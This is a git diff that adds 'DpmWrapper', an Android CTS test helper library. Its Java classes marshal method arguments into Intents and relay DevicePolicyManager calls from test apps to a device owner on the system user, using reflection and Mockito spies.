+// Mockito spy to implement the IPC between users (so tests running on current user can call the
+// device owner running on system user), but before S is shipped it should be replaced by using the
+// connected apps SDK or the new CTS infrastructure.
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+java_library {
+    name: "DpmWrapper",
+    platform_apis: true,
+    srcs: [
+        "src/main/java/**/*.java"
+    ],
+    libs: [
+        "androidx.localbroadcastmanager_localbroadcastmanager",
+        "mockito",
+    ],
+}
diff --git a/common/device-side/bedstead/dpmwrapper/OWNERS b/common/device-side/bedstead/dpmwrapper/OWNERS
new file mode 100644
index 0000000..77ef164
--- /dev/null
+++ b/common/device-side/bedstead/dpmwrapper/OWNERS
@@ -0,0 +1,3 @@
+scottjonathan@google.com
+alexkershaw@google.com
+felipeal@google.com
diff --git a/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/DataFormatter.java b/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/DataFormatter.java
new file mode 100644
index 0000000..75cd7c9
--- /dev/null
+++ b/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/DataFormatter.java
@@ -0,0 +1,292 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.bedstead.dpmwrapper;
+
+import static com.android.bedstead.dpmwrapper.Utils.EXTRA_ARG_PREFIX;
+import static com.android.bedstead.dpmwrapper.Utils.VERBOSE;
+
+import android.annotation.Nullable;
+import android.content.Intent;
+import android.os.Bundle;
+import android.os.Parcelable;
+import android.util.ArraySet;
+import android.util.Log;
+
+import java.io.Serializable;
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Set;
+
+final class DataFormatter {
+
+    private static final String TAG = DataFormatter.class.getSimpleName();
+
+    // NOTE: Bundle has a putObject() method that would make it much easier to marshal the args,
+    // but unfortunately there is no Intent.putObjectExtra() method (and intent.getBundle() returns
+    // a copy, so we need to explicitly marshal any supported type).
+    private static final String TYPE_BOOLEAN = "boolean";
+    private static final String TYPE_INT = "int";
+    private static final String TYPE_LONG = "long";
+    private static final String TYPE_BYTE_ARRAY = "byte_array";
+    private static final String TYPE_STRING_OR_CHAR_SEQUENCE = "string";
+    private static final String TYPE_PARCELABLE = "parcelable";
+    private static final String TYPE_SERIALIZABLE = "serializable";
+    private static final String TYPE_ARRAY_LIST_STRING = "array_list_string";
+    private static final String TYPE_ARRAY_LIST_PARCELABLE = "array_list_parcelable";
+    private static final String TYPE_SET_STRING = "set_string";
+    // Used when a method is called passing a null argument - the proper method will have to be
+    // infered using findMethod()
+    private static final String TYPE_NULL = "null";
+
+    static void addArg(Intent intent, Object[] args, int index) {
+        Object value = args[index];
+        String extraTypeName = getArgExtraTypeName(index);
+        String extraValueName = getArgExtraValueName(index);
+        if (VERBOSE) {
+            Log.v(TAG, "addArg(" + index + "): typeName= " + extraTypeName
+                    + ", valueName= " + extraValueName);
+        }
+        if (value == null) {
+            logMarshalling("Adding Null", index, extraTypeName, TYPE_NULL, extraValueName, value);
+            intent.putExtra(extraTypeName, TYPE_NULL);
+            return;
+
+        }
+        if ((value instanceof Boolean)) {
+            logMarshalling("Adding Boolean", index, extraTypeName, TYPE_BOOLEAN, extraValueName,
+                    value);
+            intent.putExtra(extraTypeName, TYPE_BOOLEAN);
+            intent.putExtra(extraValueName, ((Boolean) value).booleanValue());
+            return;
+        }
+        if ((value instanceof Integer)) {
+            logMarshalling("Adding Integer", index, extraTypeName, TYPE_INT, extraValueName, value);
+            intent.putExtra(extraTypeName, TYPE_INT);
+            intent.putExtra(extraValueName, ((Integer) value).intValue());
+            return;
+        }
+        if ((value instanceof Long)) {
+            logMarshalling("Adding Long", index, extraTypeName, TYPE_LONG, extraValueName, value);
+            intent.putExtra(extraTypeName, TYPE_LONG);
+            intent.putExtra(extraValueName, ((Long) value).longValue());
+            return;
+        }
+        if ((value instanceof byte[])) {
+            logMarshalling("Adding Byte[]", index, extraTypeName, TYPE_BYTE_ARRAY, extraValueName,
+                    value);
+            intent.putExtra(extraTypeName, TYPE_BYTE_ARRAY);
+            intent.putExtra(extraValueName, (byte[]) value);
+            return;
+        }
+        if ((value instanceof CharSequence)) {
+            logMarshalling("Adding CharSequence", index, extraTypeName,
+                    TYPE_STRING_OR_CHAR_SEQUENCE, extraValueName, value);
+            intent.putExtra(extraTypeName, TYPE_STRING_OR_CHAR_SEQUENCE);
+            intent.putExtra(extraValueName, (CharSequence) value);
+            return;
+        }
+        if ((value instanceof Parcelable)) {
+            logMarshalling("Adding Parcelable", index, extraTypeName, TYPE_PARCELABLE,
+                    extraValueName, value);
+            intent.putExtra(extraTypeName, TYPE_PARCELABLE);
+            intent.putExtra(extraValueName, (Parcelable) value);
+            return;
+        }
+
+        if ((value instanceof List<?>)) {
+            List<?> list = (List<?>) value;
+
+            String type = null;
+            if (list.isEmpty()) {
+                Log.w(TAG, "Empty list at index " + index + "; assuming it's List<String>");
+                type = TYPE_ARRAY_LIST_STRING;
+            } else {
+                Object firstItem = list.get(0);
+                if (firstItem instanceof String) {
+                    type = TYPE_ARRAY_LIST_STRING;
+                } else if (firstItem instanceof Parcelable) {
+                    type = TYPE_ARRAY_LIST_PARCELABLE;
+                } else {
+                    throw new IllegalArgumentException("Unsupported List type at index " + index
+                            + ": " + firstItem);
+                }
+            }
+
+            logMarshalling("Adding " + type, index, extraTypeName, type, extraValueName, value);
+            intent.putExtra(extraTypeName, type);
+            switch (type) {
+                case TYPE_ARRAY_LIST_STRING:
+                    @SuppressWarnings("unchecked")
+                    ArrayList<String> arrayListString = (value instanceof ArrayList)
+                            ? (ArrayList<String>) list
+                            : new ArrayList<>((List<String>) list);
+                    intent.putStringArrayListExtra(extraValueName, arrayListString);
+                    break;
+                case TYPE_ARRAY_LIST_PARCELABLE:
+                    @SuppressWarnings("unchecked")
+                    ArrayList<Parcelable> arrayListParcelable = (value instanceof ArrayList)
+                            ? (ArrayList<Parcelable>) list
+                            : new ArrayList<>((List<Parcelable>) list);
+                    intent.putParcelableArrayListExtra(extraValueName, arrayListParcelable);
+
+                    break;
+                default:
+                    // should never happen because type is checked above
+                    throw new AssertionError("invalid type conversion: " + type);
+            }
+            return;
+        }
+
+        // TODO(b/176993670): ArraySet<> is encapsulate as ArrayList<>, so most of the code below
+        // could be reused (right now it was copy-and-paste from ArrayList<>, minus the Parcelable
+        // part.
+        if ((value instanceof Set<?>)) {
+            Set<?> set = (Set<?>) value;
+
+            String type = null;
+            if (set.isEmpty()) {
+                Log.w(TAG, "Empty set at index " + index + "; assuming it's Set<String>");
+                type = TYPE_SET_STRING;
+            } else {
+                Object firstItem = set.iterator().next();
+                if (firstItem instanceof String) {
+                    type = TYPE_SET_STRING;
+                } else {
+                    throw new IllegalArgumentException("Unsupported Set type at index "
+                            + index + ": " + firstItem);
+                }
+            }
+
+            logMarshalling("Adding " + type, index, extraTypeName, type, extraValueName, value);
+            intent.putExtra(extraTypeName, type);
+            switch (type) {
+                case TYPE_SET_STRING:
+                    @SuppressWarnings("unchecked")
+                    Set<String> stringSet = (Set<String>) value;
+                    intent.putStringArrayListExtra(extraValueName, new ArrayList<>(stringSet));
+                    break;
+                default:
+                    // should never happen because type is checked above
+                    throw new AssertionError("invalid type conversion: " + type);
+            }
+            return;
+        }
+
+        if ((value instanceof Serializable)) {
+            logMarshalling("Adding Serializable", index, extraTypeName, TYPE_SERIALIZABLE,
+                    extraValueName, value);
+            intent.putExtra(extraTypeName, TYPE_SERIALIZABLE);
+            intent.putExtra(extraValueName, (Serializable) value);
+            return;
+        }
+
+        throw new IllegalArgumentException("Unsupported value type at index " + index + ": "
+                + (value == null ? "null" : value.getClass()));
+    }
+
+    static void getArg(Bundle extras, Object[] args, @Nullable Class<?>[] parameterTypes,
+            int index) {
+        String extraTypeName = getArgExtraTypeName(index);
+        String extraValueName = getArgExtraValueName(index);
+        String type = extras.getString(extraTypeName);
+        if (VERBOSE) {
+            Log.v(TAG, "getArg(" + index + "): typeName= " + extraTypeName + ", type=" + type
+                    + ", valueName= " + extraValueName);
+        }
+        Object value = null;
+        switch (type) {
+            case TYPE_NULL:
+                logMarshalling("Got null", index, extraTypeName, type, extraValueName, value);
+                break;
+            case TYPE_SET_STRING:
+                @SuppressWarnings("unchecked")
+                ArrayList<String> list = (ArrayList<String>) extras.get(extraValueName);
+                value = new ArraySet<String>(list);
+                logMarshalling("Got ArraySet<String>", index, extraTypeName, type, extraValueName,
+                        value);
+                break;
+            case TYPE_ARRAY_LIST_STRING:
+            case TYPE_ARRAY_LIST_PARCELABLE:
+            case TYPE_BYTE_ARRAY:
+            case TYPE_BOOLEAN:
+            case TYPE_INT:
+            case TYPE_LONG:
+            case TYPE_STRING_OR_CHAR_SEQUENCE:
+            case TYPE_PARCELABLE:
+            case TYPE_SERIALIZABLE:
+                value = extras.get(extraValueName);
+                logMarshalling("Got generic", index, extraTypeName, type, extraValueName, value);
+                break;
+            default:
+                throw new IllegalArgumentException("Unsupported value type at index " + index + ": "
+                        + extraTypeName);
+        }
+        if (parameterTypes != null) {
+            Class<?> parameterType = null;
+            switch (type) {
+                case TYPE_NULL:
+                    break;
+                case TYPE_BOOLEAN:
+                    parameterType = boolean.class;
+                    break;
+                case TYPE_INT:
+                    parameterType = int.class;
+                    break;
+                case TYPE_LONG:
+                    parameterType = long.class;
+                    break;
+                case TYPE_STRING_OR_CHAR_SEQUENCE:
+                    // A String is a CharSequence, but most methods take String, so we're assuming
+                    // a string and handle the exceptional cases on findMethod()
+                    parameterType = String.class;
+                    break;
+                case TYPE_BYTE_ARRAY:
+                    parameterType = byte[].class;
+                    break;
+                case TYPE_ARRAY_LIST_STRING:
+                    parameterType = List.class;
+                    break;
+                case TYPE_SET_STRING:
+                    parameterType = Set.class;
+                    break;
+                default:
+                    parameterType = value.getClass();
+            }
+            parameterTypes[index] = parameterType;
+        }
+        args[index] = value;
+    }
+
+    static String getArgExtraTypeName(int index) {
+        return EXTRA_ARG_PREFIX + index + "_type";
+    }
+
+    static String getArgExtraValueName(int index) {
+        return EXTRA_ARG_PREFIX + index + "_value";
+    }
+
+    private static void logMarshalling(String operation, int index, String typeName,
+            String type, String valueName, Object value) {
+        if (VERBOSE) {
+            Log.v(TAG, operation + " on " + index + ": typeName=" + typeName + ", type=" + type
+                    + ", valueName=" + valueName + ", value=" + value);
+        }
+    }
+
+    private DataFormatter() {
+        throw new UnsupportedOperationException("contains only static methods");
+    }
+}
diff --git a/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/DeviceOwnerHelper.java b/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/DeviceOwnerHelper.java
new file mode 100644
index 0000000..0e7ce36
--- /dev/null
+++ b/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/DeviceOwnerHelper.java
@@ -0,0 +1,226 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.bedstead.dpmwrapper;
+
+import static com.android.bedstead.dpmwrapper.DataFormatter.addArg;
+import static com.android.bedstead.dpmwrapper.DataFormatter.getArg;
+import static com.android.bedstead.dpmwrapper.TestAppSystemServiceFactory.RESULT_EXCEPTION;
+import static com.android.bedstead.dpmwrapper.TestAppSystemServiceFactory.RESULT_OK;
+import static com.android.bedstead.dpmwrapper.Utils.ACTION_WRAPPED_MANAGER_CALL;
+import static com.android.bedstead.dpmwrapper.Utils.EXTRA_CLASS;
+import static com.android.bedstead.dpmwrapper.Utils.EXTRA_METHOD;
+import static com.android.bedstead.dpmwrapper.Utils.EXTRA_NUMBER_ARGS;
+import static com.android.bedstead.dpmwrapper.Utils.VERBOSE;
+import static com.android.bedstead.dpmwrapper.Utils.isHeadlessSystemUser;
+
+import android.annotation.Nullable;
+import android.app.admin.DeviceAdminReceiver;
+import android.app.admin.DevicePolicyManager;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.os.Bundle;
+import android.util.Log;
+
+import androidx.localbroadcastmanager.content.LocalBroadcastManager;
+
+import java.lang.reflect.Method;
+import java.util.Arrays;
+
+/**
+ * Helper class used by the device owner apps.
+ */
+public final class DeviceOwnerHelper {
+
+    private static final String TAG = DeviceOwnerHelper.class.getSimpleName();
+
+    /**
+     * Executes a method requested by the test app.
+     *
+     * <p>Typical usage:
+     *
+     * <pre><code>
+        @Override
+        public void onReceive(Context context, Intent intent) {
+            if (DeviceOwnerAdminReceiverHelper.runManagerMethod(this, context, intent)) return;
+            super.onReceive(context, intent);
+        }
+</code></pre>
+     *
+     * @return whether the {@code intent} represented a method that was executed.
+     */
+    public static boolean runManagerMethod(DeviceAdminReceiver receiver, Context context,
+            Intent intent) {
+        String action = intent.getAction();
+        Log.d(TAG, "runManagerMethod(): user=" + context.getUserId() + ", action=" + action);
+
+        if (!action.equals(ACTION_WRAPPED_MANAGER_CALL)) return false;
+
+        try {
+            String className = intent.getStringExtra(EXTRA_CLASS);
+            String methodName = intent.getStringExtra(EXTRA_METHOD);
+            int numberArgs = intent.getIntExtra(EXTRA_NUMBER_ARGS, 0);
+            Log.d(TAG, "runManagerMethod(): userId=" + context.getUserId()
+                    + ", intent=" + intent.getAction() + ", class=" + className
+                    + ", methodName=" + methodName + ", numberArgs=" + numberArgs);
+            Object[] args = null;
+            Class<?>[] parameterTypes = null;
+            if (numberArgs > 0) {
+                args = new Object[numberArgs];
+                parameterTypes = new Class<?>[numberArgs];
+                Bundle extras = intent.getExtras();
+                for (int i = 0; i < numberArgs; i++) {
+                    getArg(extras, args, parameterTypes, i);
+                }
+                Log.d(TAG, "runManagerMethod(): args=" + Arrays.toString(args) + ", types="
+                        + Arrays.toString(parameterTypes));
+
+            }
+            Class<?> managerClass = Class.forName(className);
+            Method method = findMethod(managerClass, methodName, parameterTypes);
+            if (method == null) {
+                sendError(receiver, new IllegalArgumentException(
+                        "Could not find method " + methodName + " using reflection"));
+                return true;
+            }
+            Object manager = managerClass.equals(DevicePolicyManager.class)
+                    ? receiver.getManager(context)
+                    : context.getSystemService(managerClass);
+
+            Object result = method.invoke(manager, args);
+
+            if (VERBOSE) {
+                // Some results - like network logging events - are quite large
+                Log.v(TAG, "runManagerMethod(): method returned " + result);
+            } else {
+                Log.v(TAG, "runManagerMethod(): method returned fine");
+            }
+            sendResult(receiver, result);
+        } catch (Exception e) {
+            sendError(receiver, e);
+        }
+
+        return true;
+    }
+
+    /**
+     * Called by the device owner  {@link DeviceAdminReceiver} to broadcasts an intent back to the
+     * test case app.
+     */
+    public static void sendBroadcastToTestCaseReceiver(Context context, Intent intent) {
+        if (isHeadlessSystemUser()) {
+            TestAppCallbacksReceiver.sendBroadcast(context, intent);
+            return;
+        }
+        Log.d(TAG, "Broadcasting " + intent.getAction() + " locally on user "
+                + context.getUserId());
+        LocalBroadcastManager.getInstance(context).sendBroadcast(intent);
+    }
+
+    @Nullable
+    private static Method findMethod(Class<?> clazz, String methodName, Class<?>[] parameterTypes)
+            throws NoSuchMethodException {
+        // Handle some special cases first...
+
+        // Methods that use CharSequence instead of String
+        if (parameterTypes != null && parameterTypes.length == 2) {
+            switch (methodName) {
+                case "wipeData":
+                    return clazz.getDeclaredMethod(methodName,
+                            new Class<?>[] { int.class, CharSequence.class });
+                case "setDeviceOwnerLockScreenInfo":
+                case "setOrganizationName":
+                    return clazz.getDeclaredMethod(methodName,
+                            new Class<?>[] { ComponentName.class, CharSequence.class });
+            }
+        }
+        if ((methodName.equals("setStartUserSessionMessage")
+                || methodName.equals("setEndUserSessionMessage"))) {
+            return clazz.getDeclaredMethod(methodName,
+                    new Class<?>[] { ComponentName.class, CharSequence.class });
+        }
+
+        // Calls with null parameters (and hence the type cannot be inferred)
+        Method method = findMethodWithNullParameterCall(clazz, methodName, parameterTypes);
+        if (method != null) return method;
+
+        // ...otherwise return exactly what as asked
+        return clazz.getDeclaredMethod(methodName, parameterTypes);
+    }
+
+    @Nullable
+    private static Method findMethodWithNullParameterCall(Class<?> clazz, String methodName,
+            Class<?>[] parameterTypes) {
+        if (parameterTypes == null) return null;
+
+        boolean hasNullParameter = false;
+        for (int i = 0; i < parameterTypes.length; i++) {
+            if (parameterTypes[i] == null) {
+                if (VERBOSE) {
+                    Log.v(TAG, "Found null parameter at index " + i + " of " + methodName);
+                }
+                hasNullParameter = true;
+                break;
+            }
+        }
+        if (!hasNullParameter) return null;
+
+        Method method = null;
+        for (Method candidate : clazz.getDeclaredMethods()) {
+            if (candidate.getName().equals(methodName)) {
+                if (method != null) {
+                    // TODO: figure out how to solve this scenario if it happen (most likely it will
+                    // need to use the non-null types and/or length of types to infer the right one
+                    Log.e(TAG, "found another method (" + candidate + ") for " + methodName
+                            + ", but will use " + method);
+                } else {
+                    method = candidate;
+                    Log.d(TAG, "using method " + method + " for " + methodName
+                            + " with null arguments");
+                }
+            }
+        }
+        return method;
+    }
+
+    private static void sendError(DeviceAdminReceiver receiver, Exception e) {
+        Log.e(TAG, "Exception handling wrapped DPC call" , e);
+        sendNoLog(receiver, RESULT_EXCEPTION, e);
+    }
+
+    private static void sendResult(DeviceAdminReceiver receiver, Object result) {
+        sendNoLog(receiver, RESULT_OK, result);
+        if (VERBOSE) Log.v(TAG, "Sent");
+    }
+
+    private static void sendNoLog(DeviceAdminReceiver receiver, int code, Object result) {
+        if (VERBOSE) {
+            Log.v(TAG, "Sending " + TestAppSystemServiceFactory.resultCodeToString(code)
+                    + " (result='" + result + "') to " + receiver + " on "
+                    + Thread.currentThread());
+        }
+        receiver.setResultCode(code);
+        if (result != null) {
+            Intent intent = new Intent();
+            addArg(intent, new Object[] { result }, /* index= */ 0);
+            receiver.setResultExtras(intent.getExtras());
+        }
+    }
+
+    private DeviceOwnerHelper() {
+        throw new UnsupportedOperationException("contains only static methods");
+    }
+}
diff --git a/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/DevicePolicyManagerWrapper.java b/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/DevicePolicyManagerWrapper.java
new file mode 100644
index 0000000..484a9e4
--- /dev/null
+++ b/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/DevicePolicyManagerWrapper.java
@@ -0,0 +1,187 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.bedstead.dpmwrapper;
+
+import static org.mockito.ArgumentMatchers.any;
+import static org.mockito.ArgumentMatchers.anyBoolean;
+import static org.mockito.ArgumentMatchers.anyInt;
+import static org.mockito.ArgumentMatchers.anyLong;
+import static org.mockito.Mockito.doAnswer;
+import static org.mockito.Mockito.doReturn;
+
+import android.app.admin.DevicePolicyManager;
+import android.content.Context;
+import android.content.Intent;
+import android.util.Log;
+
+import org.mockito.Mockito;
+import org.mockito.stubbing.Answer;
+
+import java.util.HashMap;
+
+final class DevicePolicyManagerWrapper
+        extends TestAppSystemServiceFactory.ServiceManagerWrapper<DevicePolicyManager> {
+
+    private static final String TAG = DevicePolicyManagerWrapper.class.getSimpleName();
+
+    private static final HashMap<Context, DevicePolicyManager> sSpies = new HashMap<>();
+
+    @Override
+    DevicePolicyManager getWrapper(Context context, DevicePolicyManager dpm, Answer<?> answer) {
+        int userId = context.getUserId();
+        DevicePolicyManager spy = sSpies.get(context);
+        if (spy != null) {
+            Log.d(TAG, "getWrapper(): returning cached spy for user " + userId);
+            return spy;
+        }
+
+        spy = Mockito.spy(dpm);
+        String spyString = "DevicePolicyManagerWrapper#" + System.identityHashCode(spy);
+        Log.d(TAG, "get(): created spy for user " + context.getUserId() + ": " + spyString);
+
+
+        // TODO(b/176993670): ideally there should be a way to automatically mock all DPM methods,
+        // but that's probably not doable, as there is no contract (such as an interface) to specify
+        // which ones should be spied and which ones should not (in fact, if there was an interface,
+        // we wouldn't need Mockito and could wrap the calls using java's DynamicProxy
+        try {
+            doReturn(spyString).when(spy).toString();
+
+            // Basic methods used by most tests
+            doAnswer(answer).when(spy).isAdminActive(any());
+            doAnswer(answer).when(spy).isDeviceOwnerApp(any());
+            doAnswer(answer).when(spy).isManagedProfile(any());
+            doAnswer(answer).when(spy).isProfileOwnerApp(any());
+            doAnswer(answer).when(spy).isAffiliatedUser();
+
+            // Used by SetTimeTest
+            doAnswer(answer).when(spy).setTime(any(), anyLong());
+            doAnswer(answer).when(spy).setTimeZone(any(), any());
+            doAnswer(answer).when(spy).setGlobalSetting(any(), any(), any());
+
+            // Used by UserControlDisabledPackagesTest
+            doAnswer(answer).when(spy).setUserControlDisabledPackages(any(), any());
+            doAnswer(answer).when(spy).getUserControlDisabledPackages(any());
+
+            // Used by DeviceOwnerProvisioningTest
+            doAnswer(answer).when(spy).enableSystemApp(any(), any(String.class));
+            doAnswer(answer).when(spy).enableSystemApp(any(), any(Intent.class));
+            doAnswer(answer).when(spy).canAdminGrantSensorsPermissions();
+
+            // Used by NetworkLoggingTest
+            doAnswer(answer).when(spy).retrieveNetworkLogs(any(), anyLong());
+            doAnswer(answer).when(spy).setNetworkLoggingEnabled(any(), anyBoolean());
+            doAnswer(answer).when(spy).isNetworkLoggingEnabled(any());
+
+            // Used by CtsVerifier
+            doAnswer(answer).when(spy).addUserRestriction(any(), any());
+            doAnswer(answer).when(spy).clearUserRestriction(any(), any());
+            doAnswer(answer).when(spy).clearDeviceOwnerApp(any());
+            doAnswer(answer).when(spy).setKeyguardDisabledFeatures(any(), anyInt());
+            doAnswer(answer).when(spy).setPasswordQuality(any(), anyInt());
+            doAnswer(answer).when(spy).setMaximumTimeToLock(any(), anyInt());
+            doAnswer(answer).when(spy).setPermittedAccessibilityServices(any(), any());
+            doAnswer(answer).when(spy).setPermittedInputMethods(any(), any());
+            doAnswer(answer).when(spy).setDeviceOwnerLockScreenInfo(any(), any());
+            doAnswer(answer).when(spy).setKeyguardDisabled(any(), anyBoolean());
+            doAnswer(answer).when(spy).setAutoTimeRequired(any(), anyBoolean());
+            doAnswer(answer).when(spy).setStatusBarDisabled(any(), anyBoolean());
+            doAnswer(answer).when(spy).setOrganizationName(any(), any());
+            doAnswer(answer).when(spy).setSecurityLoggingEnabled(any(), anyBoolean());
+            doAnswer(answer).when(spy).setPermissionGrantState(any(), any(), any(), anyInt());
+            doAnswer(answer).when(spy).clearPackagePersistentPreferredActivities(any(), any());
+            doAnswer(answer).when(spy).setAlwaysOnVpnPackage(any(), any(), anyBoolean());
+            doAnswer(answer).when(spy).setRecommendedGlobalProxy(any(), any());
+            doAnswer(answer).when(spy).uninstallCaCert(any(), any());
+            doAnswer(answer).when(spy).setMaximumFailedPasswordsForWipe(any(), anyInt());
+            doAnswer(answer).when(spy).setSecureSetting(any(), any(), any());
+            doAnswer(answer).when(spy).setAffiliationIds(any(), any());
+            doAnswer(answer).when(spy).setStartUserSessionMessage(any(), any());
+            doAnswer(answer).when(spy).setEndUserSessionMessage(any(), any());
+            doAnswer(answer).when(spy).setLogoutEnabled(any(), anyBoolean());
+            doAnswer(answer).when(spy).removeUser(any(), any());
+
+            // Used by DevicePolicySafetyCheckerIntegrationTest
+            doAnswer(answer).when(spy).createAndManageUser(any(), any(), any(), any(), anyInt());
+            doAnswer(answer).when(spy).lockNow();
+            doAnswer(answer).when(spy).lockNow(anyInt());
+            doAnswer(answer).when(spy).logoutUser(any());
+            doAnswer(answer).when(spy).reboot(any());
+            doAnswer(answer).when(spy).removeActiveAdmin(any());
+            doAnswer(answer).when(spy).removeKeyPair(any(), any());
+            doAnswer(answer).when(spy).requestBugreport(any());
+            doAnswer(answer).when(spy).setAlwaysOnVpnPackage(any(), any(), anyBoolean(), any());
+            doAnswer(answer).when(spy).setApplicationHidden(any(), any(), anyBoolean());
+            doAnswer(answer).when(spy).setApplicationRestrictions(any(), any(), any());
+            doAnswer(answer).when(spy).setCameraDisabled(any(), anyBoolean());
+            doAnswer(answer).when(spy).setFactoryResetProtectionPolicy(any(), any());
+            doAnswer(answer).when(spy).setGlobalPrivateDnsModeOpportunistic(any());
+            doAnswer(answer).when(spy).setKeepUninstalledPackages(any(), any());
+            doAnswer(answer).when(spy).setLockTaskFeatures(any(), anyInt());
+            doAnswer(answer).when(spy).setLockTaskPackages(any(), any());
+            doAnswer(answer).when(spy).setMasterVolumeMuted(any(), anyBoolean());
+            doAnswer(answer).when(spy).setOverrideApnsEnabled(any(), anyBoolean());
+            doAnswer(answer).when(spy).setPermissionPolicy(any(), anyInt());
+            doAnswer(answer).when(spy).setRestrictionsProvider(any(), any());
+            doAnswer(answer).when(spy).setSystemUpdatePolicy(any(), any());
+            doAnswer(answer).when(spy).setTrustAgentConfiguration(any(), any(), any());
+            doAnswer(answer).when(spy).startUserInBackground(any(), any());
+            doAnswer(answer).when(spy).stopUser(any(), any());
+            doAnswer(answer).when(spy).switchUser(any(), any());
+            doAnswer(answer).when(spy).wipeData(anyInt(), any());
+            doAnswer(answer).when(spy).wipeData(anyInt());
+
+            // Used by ListForegroundAffiliatedUsersTest
+            doAnswer(answer).when(spy).listForegroundAffiliatedUsers();
+
+            // Used by UserSessionTest
+            doAnswer(answer).when(spy).getStartUserSessionMessage(any());
+            doAnswer(answer).when(spy).setStartUserSessionMessage(any(), any());
+            doAnswer(answer).when(spy).getEndUserSessionMessage(any());
+            doAnswer(answer).when(spy).setEndUserSessionMessage(any(), any());
+
+            // Used by SuspendPackageTest
+            doAnswer(answer).when(spy).getPolicyExemptApps();
+
+            // Used by PrivacyDeviceOwnerTest
+            doAnswer(answer).when(spy).getDeviceOwner();
+
+            // Used by AdminActionBookkeepingTest
+            doAnswer(answer).when(spy).getDeviceOwnerOrganizationName();
+            doAnswer(answer).when(spy).setOrganizationName(any(), any());
+            doAnswer(answer).when(spy).retrieveSecurityLogs(any());
+            doAnswer(answer).when(spy).getLastSecurityLogRetrievalTime();
+            doAnswer(answer).when(spy).getLastBugReportRequestTime();
+            doAnswer(answer).when(spy).isDeviceManaged();
+            doAnswer(answer).when(spy).isCurrentInputMethodSetByOwner();
+            doAnswer(answer).when(spy).installCaCert(any(), any());
+            doAnswer(answer).when(spy).getOwnerInstalledCaCerts(any());
+            doAnswer(answer).when(spy).retrievePreRebootSecurityLogs(any());
+            doAnswer(answer).when(spy).getLastNetworkLogRetrievalTime();
+
+            // TODO(b/176993670): add more methods below as tests are converted
+        } catch (Exception e) {
+            // Should never happen, but needs to be catch as some methods declare checked exceptions
+            Log.wtf("Exception setting mocks", e);
+        }
+
+        sSpies.put(context, spy);
+        Log.d(TAG, "getWrapper(): returning new spy for context " + context  + " ("
+                + context.getPackageName() + ")" + " and user " + userId);
+
+        return spy;
+    }
+}
diff --git a/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/TestAppCallbacksReceiver.java b/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/TestAppCallbacksReceiver.java
new file mode 100644
index 0000000..d3ec6bb
--- /dev/null
+++ b/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/TestAppCallbacksReceiver.java
@@ -0,0 +1,145 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.bedstead.dpmwrapper;
+
+import static com.android.bedstead.dpmwrapper.Utils.MY_USER_ID;
+import static com.android.bedstead.dpmwrapper.Utils.VERBOSE;
+import static com.android.bedstead.dpmwrapper.Utils.assertCurrentUserOnHeadlessSystemMode;
+
+import android.app.ActivityManager;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.os.Handler;
+import android.os.HandlerThread;
+import android.os.UserHandle;
+import android.util.ArrayMap;
+import android.util.Log;
+
+import com.android.internal.annotations.GuardedBy;
+
+import java.util.ArrayList;
+
+/**
+ * {@link BroadcastReceiver} used in the test apps to receive intents that were originally sent to
+ * the device owner's {@link android.app.admin.DeviceAdminReceiver}.
+ *
+ * <p>It must be declared in the manifest:
+ * <pre><code>
